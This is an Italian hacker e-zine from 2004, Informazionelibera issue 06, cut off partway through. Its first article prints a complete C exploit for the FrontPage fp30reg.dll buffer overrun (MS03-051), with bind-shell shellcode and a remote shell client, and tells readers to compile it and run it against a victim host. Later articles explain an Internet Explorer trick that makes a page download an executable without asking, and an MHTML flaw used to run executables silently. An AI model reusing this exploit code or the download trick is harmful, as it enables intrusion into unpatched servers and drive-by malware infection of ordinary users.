+[ INFORMAZIONELIBERA E-ZINE®06 ]==============================[Versione 2004]=+ +------------------------------------------------------------------------------+ | Il sETtImO nUmErO DeLlA E-ZiNe rIgUarDAnTe l'uNdErGRoUnD ItAlIaNo NeL MoNdO | +------------------------------------------------------------------------------+ | <<<---------------------------------->>> | | >>> Italian Underground crew <<< | | <<< INFORMAZIONELIBERA® >>> | | >>> Stampa underground <<< | | >>> E-zine 06 <<< | | <<< "Information want to be free" >>> | | >>>----------------------------------<<< | | | | ... combattiamo l'ignoranza informatica | | L'HACKING NON E' UN CRIMINE! E' CONOSCENZA | | | |+============================================================================+| |+[ http://www.informazionelibera.cjb.net ~ http://www.informazionelibera.tk ]+| |+========[ mailto: cyberdudeIL@libero.it or cyberdudemail@libero.it ]========+| |+============================================================================+| +------------------------------------------------------------------------------+ +[DiSCLAiMER]-----------------------------++[CoStItUzIoNe rEpUbBlIcA ItAlIaNa]-+ | Nota bene : Informazionelibera non si || Diritti e doveri dei cittadini : | | riterrà responsabile di eventuali danni || Rapporti civili | | provocati dal cattivo utilizzo delle || ARTICOLO 21 | | notizie presenti in questa e-zine!Tutti || Tutti han diritto di manifestare | | gli articoli sono scritti a scopo || liberamente il proprio pensiero | | dimostrativo con l'intento di spiegare || con la parola, lo scritto e ogni | | e approfondire conoscenze informatiche || altro mezzo di diffuzione . [...] | | Qualsiasi uso illecito delle info || | | presenti nella e-zine è responsabilità || | | del fautore di tale inflazione !! || | +-----------------------------------------++-----------------------------------+ +------------------------------------------------------------------------------+ | ©Copyright Informazionelibera E-zine® 7°edizione 21 Gennaio 2004 | +------------------------------------------------------------------------------+ |----------- [ INFORMAZIONELIBERA RITORNA DOPO LA PAUSA NATALIZIA ] -----------| +------------------------------------------------------------------------------+ |[ iNDiCE ]=[ IL06 ]============================================[ 34 articoli ]| |---[ HACKING ]----------------------------------------------------------------| |------[ Server extensions buffer overrun ]-----------------------[ Cyberdude ]| |------[ MHTML Vulnerability in Microsoft Internet Explorer ]-----[ Cyberdude ]| |------[ File Download Warning Bypass ]---------------------------[ Cyberdude ]| |------[ Hijacking con la funzione MoveBy ]-----------------------[ Cyberdude ]| |------[ Fallo un Explorer buono ]------------------------[ Tailot & Cyberdude]| |------[ The phantom of the opera ]----------------------------------[ Dejavu ]| |------[ Hacking di Windows NT (parte I) ]----------------------------[ ErMeS ]| |------[ Buffer overflow di FrontPage ]-------------------------------[ ErMeS ]| |---[ CRACKING & REVERSING ]---------------------------------------------------| |------[ Crackare Alcohol 120% e patcher ]--------------------------[ Graftal ]| |------[ Crackare Winamp5rc8 ]--------------------------------------[ Graftal ]| |------[ Keygen per Winzip Self-Extractor Development ]-------------[ Graftal ]| |---[ CODING ]-----------------------------------------------------------------| |------[ Mail Sms 1.0 ]------------------------------------[ ^_][ice][man][_^ ]| |------[ RAW Socket in C++ ]--------------------------------------[ active85k ]| |------[ Scrivere un bootsector ]-------------------------------------[ C0d3r ]| |------[ Pseudo rootshell with icmp_rcv() hooking ]--------------------[ Evil ]| |------[ Programmazione di socket in C ]------------------------[ Lord Lothar ]| |------[ -JAVA- La gestione dei file ]-------------------------[ Sys Ov3rrid3 ]| |------[ Tutorial 5 Turbo Pascal ]-----------------------------------[ Eimiar ]| |------[ Tabelle ascii sotto dos con l'uso del mouse ]---------------[ Eimiar ]| |------[ Perl e il dirhandling ]--------------------------------------[ f4ke^ ]| |---[ LINUX ]------------------------------------------------------------------| |------[ Telnet cede il posto a SSH e all'openSSH ]---------------[ Cyberdude ]| |------[ Crackare le password unix con john the ripper ]--------------[ C0d3r ]| |---[ PHONE PHREAKING ]--------------------------------------------------------| |------[ Attaccarsi alla linea del vicino ]--------------------------[ Er4Z0r ]| |---[ FOR NEWBIE ]-------------------------------------------------------------| |------[ freedos dentro windows = open source dentro $$$$$$$$ ]------[ Tailot ]| |------[ Analizzando un inf ]-------------------------------------[ unrelated ]| |------[ Esperienze ASXiane ]-------------------------------------[ unrelated ]| |------[ Propagazione virale sui network peer to peer ]---------------[ C0d3r ]| |---[ REPARTO SAT ]------------------------------------------------------------| |------[ Hacking Satellitare ]------------------------------------[ Alkimista ]| |---[ ELETTRONICA ]------------------------------------------------------------| |------[ un cavo crossover fatto in casa ]------------------------[ Cyberdude ]| |------[ Radio scanner fatto in casa ]--------------------------[ cyber_ninja ]| |---[ DENTRO LA MACCHINA ]-----------------------------------------------------| |------[ Ogg a confronto ]-------------------------------------------[ Tailot ]| |------[ Nei dintorni del microprocessore ]-----------------------[ unrelated ]| |------[ Il Wireless & le bluetooth ]-----------------------------[ Cyberdude ]| |---[ VITA DI CHAN ]-----------------------------------------------------------| |------[ Etica Hacker ]-----------------------------------[ Alcuni IL Members ]| |[ EnD ]=======================================================================| | _________________________________________________________| |____________________/ +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- Server extensions buffer overrun | |-- Cyberdude | | _________________________________________________________| |____________________/ +------------------------------+ | [ M e N ù ] -Cyberdude Text- | +------------------------------+ |==[ intro ]===================| |===[ glossario ]==============| |====[ le estensioni server ]==| |=====[ la vulnerabilità ]=====| |======[ exploit ]=============| |=======[ conclusioni ]========| +------------------------------+ =======================================================================[ intro ] Salve ragazzi … eccoci qui di nuovo, ancora cyberdude, ancora voi i miei adorati lettori!! Heeh bene bene di cosa parleremo oggi?? Siete curiosi è? Vi tolgo subito la curiosità! Oggi parleremo delle estensioni server o (se vogliamo fare i fighi con le ragazze) delle server extensions e di una piccola vulnerabilità che le riguarda… Allora, prima di affrontare questo articolo vi consiglio come al solito di leggere il piccolo glossario che vi ho preparato di seguito per chiarirvi le idee prima di avventurarvi in questa nuova vulnerabilità!! ===================================================================[ glossario ] Buffer : Area di memoria dedicata a contenere dati temporanei, in genere da non elaborare, ma solo per effettuare trasferimenti da un posto ad un altro, dalla memoria ad un file o viceversa Buffer overrun: Errore che si presenta quando ad un buffer vengono inviati più dati di quanti ne possa contenere, se il software di gestione non ha previsto una eventualità di questo tipo. Il sistema può bloccarsi, oppure alcuni dati entrati nel buffer potrebbero venire sovrascritti dai dati in eccesso, e quindi provocare errori per la non integrità dei dati. Il buffer overrun viene utilizzato da hacker per bloccare sistemi o servizi. Debug, debugging : Ricerca di eventuali errori di programmazione che si effettua dopo la scrittura di un programma e prima della sua compilazione. CHUNKED : Trasferimenti a blocchi E credo che questo sia tutto quello che vi basta sapere per oggi :) Quindi andiamo avanti ========================================================[ le estensioni server ] Dunque se avete letto l’intro (cosa che ormai poche persone fanno ma che io vi consiglio sempre di leggere perché il mio stile contorto, senza senso e disordinato non ha schemi precisi quindi potete trovarci di tutto in un’intro)!! Comunque per chi l’ha letta sorge una domanda spontanea e cioè : Che cosa sono le "estensioni server"??? Dunque ragazzi passo subito a spiegarvelo! Le estensioni FrontPage sono costituite da programmi CGI che forniscono l'implementazione sul server di FrontPage. FrontPage comunica con le "estensioni" attraverso il protocollo HTTP usando una Remote Procedure Call (RPC). Quando il server vede la richiesta "POST" indirizzata alle estensioni server di FrontPage, esso automaticamente dirotta la richiesta all'approppriato programma CGI. Le "estensioni" implementano l'authoring (upload/download dei documenti, ToDo list), l'amministrazione (configurazione dell'utente, dell'autore, e dei privilegi di accesso ai file), e il contenuto dinamico (componenti WebBot). Senza le estensioni sul server di FrontPage non potrete utilizzare funzionalità molto utili di FrontPage come, per es., i WebBot. Inoltre, senza le "estensioni" non si può creare e amministrare il sito Web usando gli strumenti forniti come parte integrante di FrontPage… tutto chiaro? (naturalmente ci tengo a precisare che queste info le potete trovare anche in rete!!!) ============================================================[ la vulnerabilità ] Beh ragazzi penso che a questo punto tutti abbiano capito dove sta il problema eheheh è molto semplice … è possibile tramite il chunked di un Post attraverso il protocollo HTML creare un Buffer overrun del sistema in questione eseguire codice arbitrio sulla macchina e avere privilegi sul sistema! Eheheh che ho detto? Wagliù leggete il glossario e capirete, è inutile che ripeto sempre le stesse cose!! Qui di seguito vi allego l’exploit per sfruttare questa vulnerabilità!! =====================================================================[ exploit ] Ragazzi copiate e incollate questo codice in un documento di testo che poi rinominerete .c e andrete a compilare con il compilatore C eheheh semplice vero? Poi lo aprite dal dos e seguite le istruzioni … tutto qui ;) -------------------------------------[Exploit.c]-------------------------------- -------------------------------------[Taglia qui]------------------------------- #include #include #include #pragma comment(lib,"ws2_32") #define VER "0.1" unsigned char kyrgyz_bind_code[] = { 0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33, 0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA, 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88 }; void cmdshell (int sock); long gimmeip(char *hostname); int main(int argc,char *argv[]) { WSADATA wsaData; struct sockaddr_in targetTCP; struct hostent *host; int sockTCP,s; unsigned short port = 80; long ip; unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n"; unsigned char packet[3000],data[1500]; unsigned char ecx[] = "\xe0\xf3\xd4\x67"; unsigned char edi[] = "\xff\xd0\x90\x90"; unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll unsigned char shortjmp[] = "\xeb\x10"; printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) italian ver %s }=-\n\n" " by Cyberdude < cyberdudeIL [at] libero.it>\n http://www.informazionelibera.tk\n\n", VER); if(argc < 2) { printf(" Fai cosi: %s [vittima] \n" " oppure: exploit.exe 192.168.63.130\n\n",argv[0]); return 1; } if(argc==3) port = atoi(argv[2]); WSAStartup(0x0202, &wsaData); printf("[*] Bersaglio:\t%s \tPorta: %d\n\n",argv[1],port); ip=gimmeip(argv[1]); memset(&targetTCP, 0, sizeof(targetTCP)); memset(packet,0,sizeof(packet)); targetTCP.sin_family = AF_INET; targetTCP.sin_addr.s_addr = ip; targetTCP.sin_port = htons(port); sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]); memset(data, 0x90, sizeof(data)-1); data[sizeof(data)-1] = '\x0'; memcpy(&data[16],edi,sizeof(edi)-1); memcpy(&data[20],ecx,sizeof(ecx)-1); memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1); memcpy(&data[250+14],call,sizeof(call)-1); memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code)); sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data); if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("[x] Socket non inizializzato! Uscita...\n"); WSACleanup(); return 1; } printf("[*] Socket inizializzato...\n"); if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0) { printf("[*] Connessione all'host fallita! uscita...\n"); WSACleanup(); exit(1); } printf("[*] Cerco la presenza di fp30reg.dll..."); if (send(sockTCP, packet, strlen(packet),0) == -1) { printf("[x] Fallito inserimento del pacchetto! Uscita...\n"); WSACleanup(); return 1; } memset(packet,0,sizeof(packet)); if (recv(sockTCP, packet, sizeof(packet),0) == -1) { printf("[x] Fallita la ricezione del pacchetto! Uscita...\n"); WSACleanup(); return 1; } if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0') printf(" Cerco!\n"); else { printf(" Non trovato!! Uscita...\n"); WSACleanup(); return 1; } printf("[*] Pacchetto inserito!\n"); closesocket(sockTCP); printf("[*] Addormentato "); for(s=0;s<13000;s+=1000) { printf(". "); Sleep(1000); } printf("\n[*] Connessione all'host: %s alla porta 9999",argv[1]); if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("\n[x] Socket non inizializzato! Uscita...\n"); WSACleanup(); return 1; } targetTCP.sin_family = AF_INET; targetTCP.sin_addr.s_addr = ip; targetTCP.sin_port = htons(9999); if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0) { printf("\n[x] Exploit fallito o rilevata presenza di Firewall! Uscita...\n"); WSACleanup(); exit(1); } printf("\n[*] Caduta della shell...\n\n"); cmdshell(sockTCP); return 0; } void cmdshell (int sock) { struct timeval tv; int length; unsigned long o[2]; char buffer[1000]; tv.tv_sec = 1; tv.tv_usec = 0; while (1) { o[0] = 1; o[1] = sock; length = select (0, (fd_set *)&o, NULL, NULL, &tv); if(length == 1) { length = recv (sock, buffer, sizeof (buffer), 0); if (length <= 0) { printf ("[x] Connessione chiusa.\n"); WSACleanup(); return; } length = write (1, buffer, length); if (length <= 0) { printf ("[x] Connessione chiusa.\n"); WSACleanup(); return; } } else { length = read (0, buffer, sizeof (buffer)); if (length <= 0) { printf("[x] Connessione chiusa.\n"); WSACleanup(); return; } length = send(sock, buffer, length, 0); if (length <= 0) { printf("[x] Connessione chiusa.\n"); WSACleanup(); return; } } } } long gimmeip(char *hostname) { struct hostent *he; long ipaddr; if ((ipaddr = inet_addr(hostname)) < 0) { if ((he = gethostbyname(hostname)) == NULL) { printf("[x] Fallita la ricerca dell'host: %s! Uscita...\n\n",hostname); WSACleanup(); exit(1); } memcpy(&ipaddr, he->h_addr, he->h_length); } return ipaddr; } -------------------------------------[Taglia qui]------------------------------- =================================================================[ conclusioni ] Fine!! Ciao a tutti Cyberdude +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- MHTML Vulnerability in Microsoft Internet Explorer | |-- Cyberdude | | _________________________________________________________| |____________________/ +------------------------------------------------------------------------------+ | [ MHTML Vulnerability in Microsoft Internet Explorer ] | | [ Cyberdude : cyberdudeIL@libero.it ~ http://www.informazionelibera.tk ] | +-----------------------------+------------------------------------------------+ |-----[ MINISOTTOMENU ]-------| |_(00)_ Breve intro e contesto| |_(01)_ Piccolo glossario | |_(02)_ Parte teorica | |_(03)_ Parte pratica | |_(04)_ Fine eehehehe | +-----------------------------+ -(00)-------------------------------------------------[ Breve intro e contesto ] Allora, questa parte l’avrei saltata volentieri anche perché mi vergogno abbastanza a dirlo… wagliù purtroppo è sabato sera, precisamente sabato 29 novembre 2003 ore 22:26, ora voi vi chiederete che ci fa cyberdude a casa di sabato? Eh quello che mi chiedo pure io, ho litigato con mia madre e non mi ha fatto uscire uffaaaaaaaaaaaa!!! Vabbè domani sera mi rifarò, ora non perdiamo altre chiacchiere e vediamo di cosa tratterò … in poche parole vi spiego come è possibile eseguire un file .exe su un sistema operativo senza chiedere il permesso al proprietario semplicemente sfruttando MHTML… ma per parlare di questo dovremmo passare alla seconda parte cioè al glossario! -(01)------------------------------------------------------[ Piccolo glossario ] Non vi spaventate ragazzi è un piccolissimo glossario (spiegazioni che potete trovare facilmente in rete) su alcuni vocaboli che è meglio chiarire prima di proseguire in modo che dopo vi sia tutto chiaro! Dunque dovendo andarci a studiare una vulnerabilità del MHTML credo che vi interessi sapere cosa sia : MHTML : Protocollo per includere grafici e documenti HTML in messaggi di posta elettronica tramite allegati MIME. MIME : Multipurpose Internet mail extension. Protocollo per lo scambio di messaggi postali multimediali. Attualmente il protocollo postale di Internet. Simple Mail Transfer Protocol, trasferisce i messaggi come file ASCII a 7 bit. PROTOCOLLO : Insieme di regole che governano ogni attività di scambio di dati fra due entità Si hanno protocolli per il trasferimento dei file, per l'accesso alla rete di ogni livello. HTML : (Hyper Text Markup Language). Linguaggio di codifica dei documenti ipertestuali inviati attraverso World Wide Web. Un documento preparato con HTML, visualizzato utilizzando un broswer come Mosaic, mostrerà testo formattato, grafici e collegamenti con altri documenti. E con questo direi che può bastare… ora passiamo alla parte terza -(02)----------------------------------------------------------[ Parte teorica ] Dunque eccoci qui, il cuore dell’articolo è questo! Qui capirete le cause scatenanti del fenomeno: una vulnerabilità di Internet Explorer che forza l’ MHTML (leggi nel glossario) facendo eseguire file senza chiedere il consenso del download da internet all’utente. Il problema nasce quando il browser Explorer non riesce a ben visualizzare il file MHTML a causa di cattiva programmazione per cui quando apriamo la pagina web contenente una stringa simile a quella che vi allegherò nella parte tecnica senza saperlo daremo il consenso ad un programma di essere scaricato ed eseguito sul sistema. Perché è pericoloso questa vulnerabilità? Beh è molto semplice perché basta che un malintenzionato vi inviti a visitare il proprio sito contenente tale codice maligno… una volta aperta la pagina siete gia colpiti da tale eseguibile che può spaziare da un virus, un ladro di informazioni, uno scherzo o qualunque altra cosa!!Questo poi è a discrezione del programmatore e alla sua fantasia!! Per quanto riguarda la parte teorica non c’è molto da capire… il concetto è abbastanza facile! Quindi passiamo oltre -(03)----------------------------------------------------------[ Parte pratica ] Dunque ragazzi ecco il codice che ci interessa per provarlo copiatelo e incollatelo in un nuovo documento di testo e poi cambiate l’estensione in .htm poi apritelo … non vi preoccupate perché non scaricherete alcun virus o cose varie… è solo un eseguibile non pericoloso!! Ragazzi mi fido di voi, non fate cazzate con questo code ok?? =======================================================[ TAGLIA QUI ]========== Microsoft Internet Explorer MHTML Vulnerability

Esempio vulnerabilità MHTML byCyberdude at INFORMAZIONELIBERA =======================================================[ TAGLIA QUI ]========== -(04)-------------------------------------------------------------------[ Fine ] Ed eccoci qui ancora una volta alla fine dell’articolo … che vi posso dire, scusate per la poca voglia e il poco coinvolgimento con cui ho scritto questo articolo ma sto attraversando un periodo non molto bello! Comunque penso che l’articolo non sia poi tanto difficile no? È una vulnerabilità abbastanza semplice!! Vorrei ringraziare LiuDieYu (hacker giapponese) perché è stato lui a scoprire la vulnerabilità che abbiamo appena studiato!! Grazie amico per aver diffuso la notizia che noi a nostra volta continuiamo a diffondere in Italia. Diffondiamo l’informazione … ciao a tutti Cyberdude +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- File Download Warning Bypass | |-- Cyberdude | | _________________________________________________________| |____________________/ +----------------------------------------------+ [ File Download Warning Bypass ] [ CYBERDUDE ] | | |----------[ L'articolo è diviso in ]----------| | (00) - [ InTrO ] | | (01) - [ La FaLlA ] | | (02) - [ CoNsIdErAzIoNi pErSoNaLi ] | | (03) - [ CoNcLuSiOnI ] | +----------------------------------------------+ -(00)------------------------------------------------------------------[ InTrO ] Un saluto circolare a tutti i miei amatissimi lettori (eh a natale siamo tutti + buoni… peccato che non siamo pure + boni, così acchiappiamo pure qualche ragazza)!! Volevo augurare buon natale e felice anno nuovo a tutti voi (mo non vado a vedere quando leggerete questo articolo, ma io l’ho scritto il 29 Dicembre 2003 quindi siamo in tema). Sono nello studio vicino al mio pc e mentre in chan su #informazionelibera parlo con ^_][ice][man][_^ riguardo a cosa faremo al veglione (hehehe perché in questo periodo non si parla d’altro) sto qui a scrivere quattro parole e poi vedremo cosa ne verrà fuori… a farmi compagnia il mio Bob Marley di cotto con la canna in bocca, il pupazzetto portafortuna e le due apine (bomboniere di feste di 18 anni)!! Colonna sonora di questa giornata un po’ pallosa fino a questo momento è la canzone dei “the thrills” – “Big sur” … mamma mia quanto è bella sta canzone!!! Scaricatevela ragazzi è troppo bella!! Vabbè basta con questa intro cacacazzo eheheh scusatemi il termine!!! Piuttosto vediamo di cosa parleremo oggi :o) -(01)---------------------------------------------------------------[ La FaLlA ] Dunque ragazzi a quanto pare … ancora una volta bersaglio delle nostre critiche è lo zietto Bill che per natale ci ha regalato una altra falla da poco scoperta nel suo miticuzzolo Microsoft Internet Explorer!! Ora voi mi chiederete di essere più chiaro, più specifico, vi starete chiedendo … si ma su quale versione del care windows??? Eheh questo è il bello … tutte!!! Pensate addirittura Windows 2003 Web Server edition !! Dunque, in cosa consiste la stupidaggine di oggi? Ve la spiego subito… avete presente la schermata che vi esce quando volete scaricare un file?? Quella dove vi chiede il permesso di scaricarla sul sistema operativo e voi dovete scegliere SI o NO e dove mettere il file da scaricare?? Immaginate cosa potrebbe succedere se quando aprite un sito invece di uscire quella schermata il programma si auto-scarichi sul vostro sistema?? Immaginiamo per un attimo di star visitando un sito, apriamo la pagina e BANG … senza accorgercene abbiamo scaricato un bel virussozzo o un server di un trojan o qualunque altra cosa… voi direte ma io non ho accettato di scaricare questo file, come mai sta nel mio Pc? Io non ricordo di aver scaricato questo programma… beh vorrà dire che ci ha pensato il buon vecchio zio Bill Microsoft!! Sapete come si fa?? Supponiamo che il programma da scaricare sia scaricabile all’indirizzo : http://www.pincopallino.it/programma.exe Per farlo scaricare direttamente a tutti io non dovrei fare altro che cambiare l’indirizzo in : http://www.pincopallino.it/programma.exe?.html e come per magia, aprendo questa pagina il download inizierà senza chiedervi il permesso!! (Naturalmente l’indirizzo che vi ho portato come esempio è solo un esempio e per tanto non esiste!!! Ok?) -(02)-----------------------------------------------[ CoNsIdErAzIoNi pErSoNaLi ] La cosa più triste di tutta la faccenda cari ragazzi è che purtroppo questo scherzetto è facilissimo da attuare anche per un semplice lameronzo che legge questo articolo e decide di fare uno scherzetto agli amici che si collegano a visitare il suo sito!! Purtroppo basta una piccola stringa :( !! non bisogna essere programmatori, esperti informatici o che, basta leggere questo articolo!! Ora io mi rendo conto che riportando qui la spiegazione rendo vita facile a molti lamer ma purtroppo il mio credo è nel rendere l’informazione libera! Spero solo che quelli della microsoft si accorgano presto del problema e si occupino di risolverlo quanto prima! Inoltre spero che i miei articoli nel loro piccolo non siano visti dai lamer come una rampa di lancio alla criminalità informatica (e ne ho avuto la prova in alcuni casi)… ma spero siano visti come un punto di inizio per aiutare a risolvere e a denunziare questi problemi che ci sono in rete al fine di migliorare la sicurezza informatica anziché approfittare degli errori altrui per creare scompiglio nella rete!! -(03)------------------------------------------------------------[ CoNcLuSiOnI ] Detto questo ci metto un bel punto gigante!! E dichiariamo chiuso anche questo argomento ;p ok?? Vi lascio con i più calorosi auguri di un ferissimo 2004 !!! ciao a tutti Cyberdude – Informazionelibera Founder http://www.informazionelibera.tk cyberdudeIL@libero.it +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- Hijacking con la funzione MoveBy | |-- Cyberdude | | _________________________________________________________| |____________________/ +------------------------------------------------------------------------------+ | Hijacking con la funzione MoveBy | | C Y B E R D U D E T E X T | +------------------------------------------------------------------------------+ | - [ Intro ] | | - [ Il necessario ] | | - [ Glossario ] | | - [ Approfondimenti riguardo la funzione moveBy() + esempio ] | | - [ La vulnerabilità ] | | - [ Exploit ] | | - [ Conclusioni ] | +------------------------------------------------------------------------------+ -----------------------------------------------------------------------[ Intro ] Buona sera buona sera cari i miei lettori, cyberdude è ancora qui, ancora un’altra sera di non far nulla, ancora un'altra giornata passata a perder tempo… ah che bella la vita!! Dunque di cosa parleremo questa sera?? Ehehe finalmente direte dopo 2 pallosissimi articoli dove ci hai parlato come effettuare il download di eseguibili senza permesso su sistemi operativi marchiati zio bill questa sera ci parlerai di qualcosa di più interessante!! Beh si, potremmo dire di si! Questa era la mia mini-intro. Adesso mettiamoci sotto perché sono le 21:24 e entro le 00:00 vorrei aver finito questo articoletto semplice semplice!! ---------------------------------------------------------------[ Il necessario ] Di cosa abbiamo bisogno? Quasi niente… oh meglio, quel poco che penso quasi tutti abbiamo, bel Internet Explorer e un Word Pad!! Eheheh si ci bastano questi due programmino per sbizzarrirci un po’. -------------------------------------------------------------------[ Glossario ] Dunque senza perdere troppo tempo in chiacchiere (se non mi sbaglio vi ho gia detto che per mezzanotte vorrei mettere il punto) leggiamoci prima un bel po’ di glossario che non guasta mai!! Giusto?? … giustissimo!! Le paroline che ci interesseranno in questo articolo sono le seguenti : Hijack: questo termine inglese significa attentato: in questo caso descrive la pratica di cercare ed abusare di server altrui poco protetti e mal configurati Hijacking: collegamento malizioso mirato a prendere il controllo di un canale di comunicazione per inserire, cancellare o alterare pacchetti informativi. moveBy() : Funzione java Si sono solo queste tre le parole magiche che ci serviranno stasera … ma vorrei approfondire (prima di proseguire con l’articolo vero e proprio) l’ultima di queste tre!! ---------------------[ Approfondimenti riguardo la funzione moveBy() + esempio ] Ragazzi lo sapete tutti qual è il metodo più semplice per me per farvi capire le cose: riportarvi degli esempi ed eccone quindi uno per spiegarvi facile facile tale funzione java ==========================================================[taglia qui]==========
==========================================================[taglia qui]========== Voi adesso direte e che roba è? Che me ne faccio di questo codice?? Eheheh è semplice ragazzi … copiatelo e incollatelo in un documento di testo che poi rinominerete .htm poi apritelo e toccate con mano che fa (non preoccupatevi non è niente di pericoloso)!! Dopo che lo avete provato passo alla spiegazione … anche se credo non vi sia bisogno di spiegare proprio un bel niente!! Eeheh si commenta da solo, dunque : function moveWindowLeft() { <- dichiariamo la funzione che andremo a creare window.moveBy(-15, 0); window.moveBy(0, 0); } <- le coordinate del movimento e così per tutte e 4 le function !!! penso sappiate che serve per chiudere lo script eheheh … Questo invece non è altro che la creazione dei “bottoni” e il comando che ci permette il movimento impostato precedentemente nelle function!! Insomma spero che ora questa funziona java con le sue caratteristiche sia abbastanza chiara anche a chi non ci capisce un cazzo di java!! ------------------------------------------------------------[ La vulnerabilità ] Intanto il tempo passa e io ancora non son arrivato neanche a descrivere 